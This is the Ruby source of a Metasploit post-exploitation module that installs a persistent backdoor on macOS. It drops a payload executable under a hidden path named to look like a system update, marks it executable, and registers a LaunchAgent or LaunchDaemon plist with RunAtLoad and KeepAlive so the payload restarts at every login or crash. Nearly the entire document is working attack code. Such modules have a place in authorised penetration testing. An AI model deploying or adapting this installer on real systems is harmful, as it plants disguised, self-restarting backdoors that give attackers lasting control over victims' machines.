Mac OS X Persistent Payload Installer

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'shellwords'

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Common
  include Msf::Post::File
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Mac OS X Persistent Payload Installer',
        'Description' => %q{
          This module provides a persistent boot payload by creating a launch item, which can be
          a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered
          upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with
          elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.
          In either case the plist entry specifies an executable that will be run before or at login.
        },
        'License' => MSF_LICENSE,
        'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],
        'Targets' => [
          [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
          [ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
          ['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
          [ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
          [ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
        ],
        'DefaultTarget' => 0,
        'SessionTypes' => [ 'shell', 'meterpreter' ],
        'DisclosureDate' => '2012-04-01',
        'Platform' => [ 'osx', 'python', 'unix' ],
        'References' => [
          'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',
          'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'
        ]
      )
    )

    register_options([
      OptString.new('BACKDOOR_PATH',
                    [
                      true, 'Path to hide the backdoor on the target.',
                      '~/Library/.<random>/com.system.update'
                    ]),
      OptBool.new('KEEPALIVE',
                  [true, 'Continually restart the payload exe if it crashes/exits.', true]),
      OptBool.new('RUN_NOW',
                  [false, 'Run the installed payload immediately.', false]),
      OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]])
    ])
  end

  def exploit
    check_for_duplicate_entry

    if target['Arch'] == ARCH_PYTHON
      payload_bin = "#!/usr/bin/env python\n" + payload.encoded
    elsif target['Arch'] == ARCH_CMD
      payload_bin = "#!/usr/bin/env bash\n" + payload.raw
    else
      payload_bin = generate_payload_exe
    end

    # Store backdoor on target machine
    write_backdoor(payload_bin)
    # Add plist file to LaunchAgents dir
    add_launchctl_item
    # tell the user how to remove the persistence if necessary
    list_removal_paths
  end

  private

  # drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path
  def add_launchctl_item
    label = File.basename(backdoor_path)
    cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")
    # NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive
    item = <<-EOI
    <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
      <dict>
        <key>Label</key>
        <string>#{label}</string>
        <key>Program</key>
        <string>#{backdoor_path}</string>
        <key>ProgramArguments</key>
        <array>
          <string>#{backdoor_path}</string>
        </array>
        <key>RunAtLoad</key>
        <true/>
        <key>OnDemand</key>
        <#{keepalive?}/>
        <key>KeepAlive</key>
        <#{keepalive?}/>
      </dict>
    </plist>
    EOI

    if write_file(plist_path, item)
      print_good("LaunchAgent added: #{plist_path}")
    else
      fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")
    end

    if run_now?
      cmd_exec("launchctl load -w #{plist_path.shellescape}")
    end

    print_good('LaunchAgent installed successfully.')
  end

  # path to upload the backdoor. any <user> or <random> substrings will be replaced.
  # @return [String] path to drop the backdoor payload.
  def backdoor_path
    @backdoor_path ||= datastore['BACKDOOR_PATH']
                       .gsub('<random>') { Rex::Text.rand_text_alpha(8) }
                       .gsub(%r{^~/}, "/Users/#{user}/")
  end

  # raises an error if a Launch Agent already exists at desired same plist_path
  def check_for_duplicate_entry
    if file?(plist_path)
      fail_with 'FileError', "Duplicate LaunchAgent plist already exists at #{plist_path}"
    end
  end

  # @return [Boolean] user wants the persistence to be restarted constantly if it exits
  def keepalive?
    datastore['KEEPALIVE']
  end

  # useful if you want to remove the persistence.
  # prints out a list of paths to remove and commands to run.
  def list_removal_paths
    removal_command = "rm -rf #{File.dirname(backdoor_path).shellescape}"
    removal_command << " ; rm #{plist_path}"
    removal_command << " ; launchctl remove #{File.basename(backdoor_path)}"
    removal_command << " ; launchctl stop #{File.basename(backdoor_path)}"
    print_status("To remove the persistence, run:\n#{removal_command}\n")
  end

  # path to the LaunchAgent service configuration plist
  # @return [String] path to the LaunchAgent service
  def plist_path
    @plist_path ||= "/Users/#{user}/Library/#{datastore['LAUNCH_ITEM']}s/#{File.basename(backdoor_path)}.plist"
  end

  # @return [Boolean] user wants to launch the LaunchAgent immediately
  def run_now?
    datastore['RUN_NOW']
  end

  # @return [String] username of the session
  def user
    @user ||= cmd_exec('whoami').strip
  end

  # drops the file to disk, then makes it executable
  # @param [String] exe the executable to drop
  def write_backdoor(exe)
    print_status('Dropping backdoor executable...')
    cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")

    if write_file(backdoor_path, exe)
      print_good("Backdoor stored to #{backdoor_path}")
      cmd_exec("chmod +x #{backdoor_path.shellescape}")
    else
      fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")
    end
  end
end